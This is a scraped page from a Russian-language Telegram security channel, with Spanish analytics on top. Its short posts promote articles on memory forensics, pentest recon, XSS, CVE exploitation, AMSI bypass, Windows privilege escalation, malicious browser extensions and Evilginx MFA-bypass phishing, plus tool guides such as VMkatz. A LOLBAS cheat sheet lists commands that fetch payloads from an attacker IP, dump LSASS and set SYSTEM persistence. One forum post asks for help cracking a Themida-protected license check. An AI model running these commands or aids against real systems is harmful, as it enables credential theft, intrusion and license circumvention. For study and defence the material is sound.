Codeby
Блог сообщества Кодебай Чат: @codeby_one Форум: codeby.net Обучение: codeby.academy CTF: hackerlab.pro VK: vk.com/codeby YT: clck.ru/XG99c Сотрудничество: @KinWiz Реклама: @Savchenkova_Valentina
Mostrar más📈 Análisis del canal de Telegram Codeby
El canal Codeby (@codeby_sec) en el segmento lingüístico de Ruso es un actor destacado. Actualmente la comunidad reúne a 36 559 suscriptores, ocupando la posición 3 751 en la categoría Tecnologías y Aplicaciones y el puesto 17 801 en la región Rusia.
📊 Métricas de audiencia y dinámica
Desde su creación el невідомо, el proyecto ha mostrado un crecimiento acelerado, reuniendo a 36 559 suscriptores.
Según los últimos datos del 05 junio, 2026, el canal mantiene una actividad estable. En los últimos 30 días la variación de miembros fue de 202, y en las últimas 24 horas de 11, conservando un alto alcance.
- Estado de verificación: No verificado
- Tasa de interacción (ER): El promedio de interacción de la audiencia es 7.69%. Durante las primeras 24 horas tras publicar, el contenido suele obtener 4.19% de reacciones respecto al total de suscriptores.
- Alcance de las publicaciones: Cada publicación recibe en promedio 2 813 visualizaciones. En el primer día suele acumular 1 532 visualizaciones.
- Reacciones e interacción: La audiencia responde de forma activa: el promedio de reacciones por publicación es 19.
- Intereses temáticos: El contenido se centra en temas clave como edr, api, вектор, mitre, att&ck.
📝 Descripción y política de contenido
El autor describe el recurso como un espacio para expresar opiniones subjetivas:
“Блог сообщества Кодебай
Чат: @codeby_one
Форум: codeby.net
Обучение: codeby.academy
CTF: hackerlab.pro
VK: vk.com/codeby
YT: clck.ru/XG99c
Сотрудничество: @KinWiz
Реклама: @Savchenkova_Valentina”
Gracias a la alta frecuencia de actualizaciones (últimos datos recibidos el 07 junio, 2026), el canal mantiene la vigencia y un amplio alcance. La analítica demuestra que la audiencia interactúa activamente con el contenido, lo que lo convierte en un punto de referencia dentro de la categoría Tecnologías y Aplicaciones.
svchost.exe — для антивируса и EDR это выглядит как обычная работа системы. Но в оперативной памяти они оставляют следы, которые никуда не деваются.
Почему RAM важнее диска при реагировании
Образ диска на 250+ ГБ снимается часами. Дамп RAM на 8–32 ГБ — за минуты. Но дело не только в скорости.
Оперативная память хранит то, чего на диске нет в принципе:
• Расшифрованный payload — малварь шифрует себя на диске, но в RAM работает в открытом виде
• Инжектированный код — Process Injection (T1055) файлов не оставляет, только RWX-регионы в чужом адресном пространстве
• Скрытые процессы — руткит выдёргивает процесс из списка, но pool-теги остаются в физической памяти
• Активные C2-соединения — с PID, портами и IP, которые лог файервола мог не записать
• Хэши и билеты Kerberos — прямо в памяти lsass.exe
🛠 Volatility 3: что изменилось
Главная ловушка для тех, кто учился по старым руководствам: в тройке нет --profile. Вместо него — символьные таблицы в формате ISF, которые фреймворк стягивает сам при первом запуске. Не нужно угадывать точный билд Windows — Volatility 3 определяет его автоматически.
Синтаксис стал чище: vol -f dump.raw windows.pslist вместо громоздкого vol.py --profile=Win10x64_18362 pslist. Минорные билды Windows поддерживаются без обновления фреймворка.
⚠️ Ключевой момент про снятие дампа
Дамп снимается до перезагрузки — это очевидно, но на практике именно здесь теряют артефакты. Перезагрузили хост — потеряли всё.
На Windows используется WinPmem: winpmem_mini_x64_rc2.exe output.raw. Сразу после снятия фиксируется контрольная сумма: sha256sum output.raw > output.raw.sha256. Это не формальность — без chain of custody отчёт не примут ни в суде, ни на review у заказчика.
💡 Что реально разделяет pslist и psscan
Большинство руководств перечисляют плагины, не объясняя разницу. pslist идёт по двусвязному списку ядра — руткит может выдернуть оттуда запись. psscan сканирует физическую память по pool-тегам — и находит то, что скрыто. Расхождение между выводами двух плагинов — красный флаг.
Полный workflow расследования: от снятия дампа до IoC для отчёта — в статье.
https://codeby.net/threads/analiz-dampov-pamyati-volatility-3-prakticheskii-workflow-obnaruzheniya-malvari-i-in-yektsii.92825/nmap -sV -sC -p- 10.10.10.100:
• Порт 22 с OpenSSH 7.9 — проверяем на известные CVE, но скорее всего идём через веб
• MySQL на порту 3306 торчит наружу — потенциальный вектор брутфорса (зачем он вообще открыт на периметре?)
• Apache Tomcat 9.0.30 на 8080 — горячая находка: старые версии часто содержат дыры в менеджере деплоя
Это не просто список открытых портов. Это карта решений: куда идти дальше, что фаззить, что брутить, где искать CVE.
🎯 Опытные пентестеры при работе с десятками хостов комбинируют инструменты: Masscan делает быстрое первичное сканирование всех портов, а Nmap с флагом -sV точечно добивает найденное. NSE-скрипты добавляют глубину: smb-vuln-ms17-010 проверяет EternalBlue, ssl-heartbleed обнаруживает Heartbleed, а http-enum находит стандартные директории веб-серверов за один проход.
Это лишь первая фаза из десяти. Дальше — Burp Suite, SQLmap, Metasploit, Hydra, Hashcat и другие инструменты, каждый из которых привязан к конкретному этапу атаки. Читай полный разбор в статье 👇
https://codeby.net/threads/instrumenty-pentestera-top-10-s-real-nymi-primerami-v-kazhdoi-faze-ataki.92812/alert(1)
Это уязвимость, которая может привести к краже сессии и полному захвату аккаунта.
Разобрали основные типы XSS и как от них защищаться — в карточках выше
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромAV:N/AC:L/PR:N/UI:N сразу говорит: pre-auth RCE, максимальный приоритет
2. Patch diffing — коммит из GHSA показывает точку входа. Замена unserialize() или dol_eval() — ваш маяк
3. Цепочка до PoC — CWE-классификация как карта: CWE-502 → gadget chain, CWE-22 → доставка payload
Разобраны CVE-2025-32432 в Craft CMS (CVSS 10.0, CISA KEV) и CVE-2025-55182 в React Server Components — от advisory до шелла.
https://codeby.net/threads/ekspluatatsiya-cve-v-veb-prilozheniyakh-ot-chteniya-advisory-do-rce-za-tri-shaga.92809//cgi-bin/cstecgi.cgi — и атакующий получает полный контроль. PoC уже на GitHub, патча нет.
cstecgi.cgi парсит JSON, берёт значение параметра и без проверок скармливает его в system() через sprintf(). Параметр ttyEnable, задуманный как булевый флаг, принимает строку любой длины с shell-метасимволами.
⚙️ В статье:
• Распаковка прошивки через binwalk и анализ MIPS-бинарника в Ghidra
• Формирование запросов для CVE-2026-6112 и CVE-2026-6113
• Готовые Suricata-правила для детекции
MITRE ATT&CK, CVSS 4.0 и разбор CWE-77/CWE-78 на реальном коде — в статье:
https://codeby.net/threads/cve-2026-6112-i-cve-2026-6113-uyazvimost-command-injection-v-totolink-a7100ru-ot-analiza-proshivki-do-detektsii.92788/rO0AB (байты ac ed 00 05)
• PHP: маркеры O:, a:, s: — читаются глазами
• Python pickle: бинарный поток с байтом \x80
⚙️ Ключевой инсайт: уязвимость — не в библиотеке вроде Apache Commons Collections, а в приложении, которое скармливает недоверенные данные в readObject(). Библиотека в classpath — не дыра. Дыра — когда пользовательский ввод до неё добирается.
Дальше: как подобрать gadget chain через ysoserial и phpggc, какие CVE эксплуатировать на WebLogic и PHP-фреймворках, и как строить цепочки вручную.
https://codeby.net/threads/uyazvimosti-deserializatsii-ekspluatatsiya-cherez-ysoserial-phpggc-i-postroyeniye-gadget-chain.92777/Autorize: вставил cookie низкопривилегированного юзера, браузишь как админ — красный «Bypassed!» = готовый IDOR
• A03 Injection → ActiveScan++: добавляет XXE, SSTI, улучшенный SQLi
• A04 Insecure Design → Turbo Intruder: race conditions на промокодах — тысячи req/sec
• A07 Auth Failures → JWT Editor: атаки alg:none, weak secret, key confusion из Repeater
• A10 SSRF → Collaborator Everywhere: браузишь приложение, extension инжектирует заголовки и ловит out-of-band callbacks
Плюс Param Miner (до 65 000 параметров за запрос) и Retire.js для уязвимых JS-библиотек.
https://codeby.net/threads/burp-suite-extensions-shpargalka-po-owasp-top-10-2025-kakoi-plagin-stavit-i-zachem.92768/Инструмент для извлечения учетных данных Windows (хэши NTLM, мастер-ключи DPAPI, билеты Kerberos, кэшированные учетные данные домена, секреты LSA, NTDS.dit, ключи BitLocker) непосредственно из снимков памяти и виртуальных дисков на сетевом хранилище, в гипервизоре и везде, где находятся файлы виртуальной машины.Для работы используется один статический двоичный файл размером ~3 МБ. Загрузите его на хост ESXi, узел Proxmox или в сетевое хранилище. Укажите .vmsn или .vmdk или целую папку с виртуальными машинами. Получите учетные данные, а не образы дисков. ⬇️Установка Клонируем репозиторий, компилируем. Двоичный файл будет лежать по пути target/x86_64-unknown-linux-musl/release.
git clone https://github.com/nikaiw/VMkatz.git
cd VMkatz
cargo build --release --target x86_64-unknown-linux-musl
cd target/x86_64-unknown-linux-musl/release
./vmkatz —help
Поддерживаемые входные данные
📉Снимки VMware в формате .vmsn + .vmem;
📉Встроенные снимки VMware в формате .vmsn (без .vmem);
📉Сохранённые состояния VirtualBox в формате .sav;
📉Состояния savevm QEMU/KVM;
📉ELF core dump’ы QEMU/KVM в формате .elf;
📉Сохранённые состояния Hyper-V в формате .vmrs;
📉Виртуальные диски VMware в формате .vmdk;
📉Виртуальные диски VirtualBox в формате .vdi;
📉Виртуальные диски QEMU/KVM в формате .qcow2;
📉Виртуальные диски Hyper-V в формате .vhdx, .vhd;
📉RAW SCSI-устройства VMFS-5/6 в формате /dev/disks/...;
📉Сырые файлы реестра Windows в формате SAM, SYSTEM, SECURITY;
📉Сырой файл NTDS.dit в формате ntds.dit + SYSTEM;
🖱Минидамп процесса LSASS в формате .dmp.
Использование
1️⃣Извлечение учетных данных LSASS из снимка VMware.
./vmkatz snapshot.vmsn
2️⃣Указание пути до виртуальной директории с целью поиска необходимых файлов.
./vmkatz /path/to/vm-directory/
3️⃣Экспорт BitLocker FVEK.
./vmkatz --bitlocker-fvek /tmp/keys snapshot.vmsn
4️⃣Рекурсивное сканирование всех виртуальных машин по пути /vmfs/volumes/datastore1/.
./vmkatz -r /vmfs/volumes/datastore1/
#tools #credentials #vmware
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромamsi.dll загружается в каждую PowerShell-сессию с теми же привилегиями, что и вредоносный код. Классический патчинг AmsiScanBuffer оставляет следы в .text-секции — EDR это видит. Hardware breakpoints через DR0–DR3 обходят сканирование без записи в память.
https://codeby.net/threads/obkhod-windows-defender-i-amsi-prakticheskii-gaid-po-defense-evasion-dlya-red-team.92763/whoami /priv — стандартный набор, ничего интересного. Что дальше?
🎯 Порядок приоритетов при LPE:
1. Токен — SeImpersonatePrivilege у сервисных аккаунтов IIS/MSSQL открывает Potato-атаки прямо к SYSTEM
2. Сервисы — Unquoted Service Path встречается на каждом втором пентесте, а SERVICE_CHANGE_CONFIG для группы Users — прямой билет наверх
3. UAC bypass — десятки техник без GUI, когда застрял на medium integrity
4. Kernel exploits — последнее средство: объяснять заказчику BSOD на продакшне — сомнительное удовольствие
⚡ Если оба ключа AlwaysInstallElevated выставлены в `1` — любой MSI устанавливается от SYSTEM.
Полный разбор техник, команд и нюансов эксплуатации:
https://codeby.net/threads/povysheniye-privilegii-windows-ekspluatatsiya-miskonfiguratsii-tokenov-i-obkhod-uac-na-praktike.92759/curl.exe -s -o C:\Temp\f.exe http://IP/f.exe — загрузка файла (Win10 1803+), сигнатуры слабее чем на certutil
• rundll32.exe comsvcs.dll, MiniDump C:\Temp\lsass.dmp full — дамп LSASS без Mimikatz, нужен SeDebugPrivilege
• regsvr32.exe /s /n /u /i:http://IP/payload.sct scrobj.dll — Squiblydoo, обход AppLocker
• msbuild.exe C:\Temp\payload.csproj — компиляция C# inline, обход AppLocker
• schtasks /create /tn "WindowsUpdate" /tr "beacon.exe" /sc onlogon /ru SYSTEM /f — persistence без PowerShell
ATT&CK-маппинг, флаги и ограничения (WDAC, Server Core) — в полной шпаргалке:
https://codeby.net/threads/lolbas-shpargalka-komandy-post-ekspluatatsii-windows-bez-storonnikh-instrumentov.92752/WPProbe — это высокопроизводительный сканер безопасности с открытым исходным кодом, предназначенный для обнаружения установленных плагинов и тем WordPress, а также их сопоставления с известными уязвимостями из баз данных Wordfence и WPScan. Инструмент использует WordPress для скрытного обнаружения компонентов, что позволяет минимизировать риск блокировки со стороны систем безопасности. WPProbe разработан для использования специалистами по тестированию на проникновение, администраторами сайтов и исследователями безопасности.🎇Основные функции - Скрытное обнаружение через REST API (идентификация более 5000 плагинов без прямого перебора директорий) - Три режима сканирования - Stealthy (по умолчанию), Bruteforce, Hybrid - Поддержка сканирования нескольких целей одновременно - Поддержка JSON и CSV для интеграции в конвейеры обработки - Фильтрация по CVE, плагину, критичности и типу аутентификации - Встроенный механизм обновления бинарного файла и базы данных ⬇️Установка
sudo apt install wpprobe
Проверка
wpprobe -h
⏺️Для получения свежих данных непосредственно от Wordfence можно использовать бесплатный API-ключ
#с указанием ключа
wpprobe update-db --api-key ваш_wordfence_api_ключ
#или через переменную окружения
export WORDFENCE_API_KEY=ваш_ключ
wpprobe update-db
⏺️Базовое сканирование одного сайта
wpprobe scan -u https://example.com
⏺️Сканирование с указанием режима
#скрытный режим (по умолчанию)
wpprobe scan -u https://example.com --mode stealthy
#агрессивный режим (прямой перебор)
wpprobe scan -u https://example.com --mode bruteforce
#гибридный режим
wpprobe scan -u https://example.com --mode hybrid
⏺️Массовое сканирование из файла (файл targets.txt содержит по одному URL на строку)
wpprobe scan -f targets.txt -t 20
Параметр -t задает количество одновременных потоков для ускорения обработки
⏺️Сохранение результатов
#CSV формат
wpprobe scan -u https://example.com -o results.csv
#JSON формат
wpprobe scan -u https://example.com -o results.json
⏺️Поиск уязвимостей по CVE
wpprobe search --cve CVE-2024-1234
⏺️Быстрая проверка клиентского сайта перед обновлением
wpprobe update-db
wpprobe scan -u https://client-site.com -o scan_report.csv
⏺️Поиск критических уязвимостей для приоритетного исправления
wpprobe search --severity critical --details
⏺️Проверка нового плагина перед установкой
wpprobe search --plugin newly-acquired-plugin-name
🔎Ограничения и рекомендации
- Скрытный метод обнаружения требует, чтобы REST API WordPress был доступен. Некоторые плагины или настройки безопасности могут его отключать
- Если плагин установлен, но неактивен или скрыт системами безопасности, он может остаться незамеченным
- Для максимальной точности рекомендуется использовать API-ключи для получения свежих данных
#WordPress #PluginScanner #RESTAPI #tool #pentest
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромAuthorization-заголовок, сливая Bearer-токен через fetch(). Никакого 0-day — только API, который браузер сам отдал.
🔍 Расширение с правом <all_urls> видит весь трафик: банк, корпоративный портал, почту. Обработчик onBeforeSendHeaders получает Cookie, Authorization, X-CSRF-Token до отправки на сервер. Жертва не замечает ничего.
⚠️ 42% вредоносных расширений с 2018 года злоупотребляли webRequest. Manifest V3 вектор не закрыл. Двухфакторка не спасает — расширение внутри периметра доверия браузера.
Полный разбор с PoC-кодом и семплами из Chrome Web Store:
https://codeby.net/threads/kak-brauzernyye-rasshireniya-kradut-dannyye-webrequest-declarativenetrequest-i-tekhniki-perekhvata-trafika.92749/Fatal Error 0x00005c, KsDumper молчит, TitanHide крашит процесс. Патч от третьих лиц через MinHook непонятным образом проходит проверку контрольной суммы импортов и переводит приложение с Dongle-проверки на сверку лицензии с файлом в папке. Алгоритм генерации этого файла — внутри. Но добраться до него не получается: защищённые .dll, замусоренный трейс после MinHook_Initialise_Hook, и приложение ещё и детектит VM.
🎯 Что уже стоит на столе у автора:
• Unlicense отработал, IAT и OEP восстановлены — есть unpacked_.exe для статики
• MinHook в чужом патче почему-то проходит CRC-проверку импортов/экспортов — и это само по себе вопрос
• Динамика умерла: 64dbg + ScyllaHide = Violation Access, чем больше опций включено, тем стабильнее краш
• Подозрение, что оригинальный алгоритм генерации затёрт, а рабочий спрятан в injected DLL — тоже под Themida
🔍 У человека конкретные три вопроса: как отличить hooked-функцию от динамически подгруженной из уже пропатченных библиотек, стоит ли дальше копать динамику через обход debugger detection, и как снимать защиту с .dll если она под VMProtect сверху. Если кто-то воевал с Themida на .dll или разбирался с injected MinHook-патчами без исходников — загляните, человек не новичок, но застрял на 4-й день.
https://codeby.net/threads/vopros-khuk-vytashchit-algoritm-generatsii-themida.92760/Набор специализированных инструментов с интеграцией Claude Code, предназначенных для тестирования на безопасность IoT-устройств, IP-камер и встроенных систем. Он включает в себя как инструменты командной строки, так и рабочие процессы с использованием искусственного интеллекта для комплексной оценки безопасности IoT.➡️Для установки необходимо установить зависимости, склонировать репозиторий, добавить каталог bin в переменную PATH и для удобного запуска добавить бинарные файлы инструмента в конфигурацию оболочки.
pip install colorama pyserial pexpect requests
git clone https://github.com/BrownFineSecurity/iothackbot.git
cd iothackbot
export PATH="$PATH:$(pwd)/bin"
echo 'export PATH="$PATH:/path/to/iothackbot/bin"' >> ~/.bashrc
🔗Представляет собой следующий набор инструментов
Обнаружение и разведка сети
⏺️wsdiscovery — сканер протокола WS-Discovery для поиска ONVIF-камер и IoT-устройств;
⏺️iotnet — анализатор сетевого трафика IoT для выявления протоколов и уязвимостей;
⏺️netflows — извлечение сетевых потоков с разрешением DNS-имён из pcap-файлов.
Тестирование для конкретного устройства
⏺️onvifscan — сканер безопасности ONVIF-устройств: проверка обхода аутентификации, перебор учётных данных.
Анализ прошивки и файлов
⏺️chipsec — статический анализ прошивок UEFI/BIOS: обнаружение известных руткитов (LoJax, ThinkPwn, HackingTeam), генерация списка EFI-исполняемых файлов с хешами, декодирование структуры прошивки и извлечение NVRAM.
⏺️ffind — продвинутый поиск файлов с определением типов и извлечением файловых систем: определяет типы артефактных файлов, извлекает файловые системы ext2/3/4 и F2FS.
Анализ Android
⏺️apktool — распаковка APK и извлечение ресурсов: декодирование AndroidManifest.xml, извлечение ресурсов, интерфейсов и строк, дизассемблирование в smali-код.
⏺️jadx — декомпиляция APK: преобразование DEX в читаемый Java-код, поиск захардкоженных учётных данных, анализ логики приложения
Доступ к оборудованию и консоли
⏺️picocom — взаимодействие с UART-консолью IoT-устройств: управление загрузчиком, перебор и анализ shell-доступа, извлечение прошивки.
⏺️telnetshell — работа с telnet-shell на IoT-устройствах: проверка неаутентифицированного доступа к shell, сбор информации об устройстве, работа с командами BusyBox.
⛓️💥Использование
▶️Проверка безопасности устройств ONVIF.
onvifscan auth http://192.168.1.100 onvifscan brute http://192.168.1.100▶️Анализ файла PCAP на предмет протоколов Интернета вещей.
iotnet capture.pcap▶️Извлечение файловых систем из прошивки устройства.
sudo ffind firmware.bin -e
#tools #IoT #pentest
🔗 Все наши каналы 🔁 Все наши чаты 🪧 Для связи с менеджеромsession cookie — и атакующий перехватывает его до того, как он доберётся до браузера жертвы.
🛠 Три инструмента, которые делают это реальным
Evilginx3 — standalone-приложение на Go со встроенным DNS-сервером, автоматическими TLS-сертификатами и модульной конфигурацией через phishlets. Phishlet — YAML-файл, где прописано: какие поддомены проксировать, какие POST-параметры содержат credentials и какие cookie являются session tokens. Для M365 это обычно ESTSAUTH и ESTSAUTHPERSISTENT. Evilginx на лету переписывает все ссылки в HTML/JS-ответах, подставляя фишинговые поддомены вместо оригинальных.
Modlishka и Muraena — альтернативные прокси-фреймворки с похожей логикой, но разными подходами к конфигурации и обходу детекта. Все три реализуют одну идею: стать невидимым посредником между жертвой и легитимным сервисом.
🔵 Что работает на синей стороне
Ни TOTP, ни push, ни SMS не спасают — они все транзитом проходят через прокси. Реально помогают: FIDO2/passkeys (привязаны к домену, прокси не может подделать), Conditional Access с анализом аномалий сессии и мониторинг UserAgent — после импорта cookie браузер атакующего почти всегда отличается от браузера жертвы.
Полная механика атаки, конфигурация Evilginx и индикаторы детекта для каждого фреймворка — в статье. Читай, пока твои пользователи уверены, что MFA их защищает.
https://codeby.net/threads/aitm-fishing-obkhod-mfa-cherez-evilginx-modlishka-i-muraena.92741/
¡Ya disponible! Investigación de Telegram 2025 — los principales insights del año 
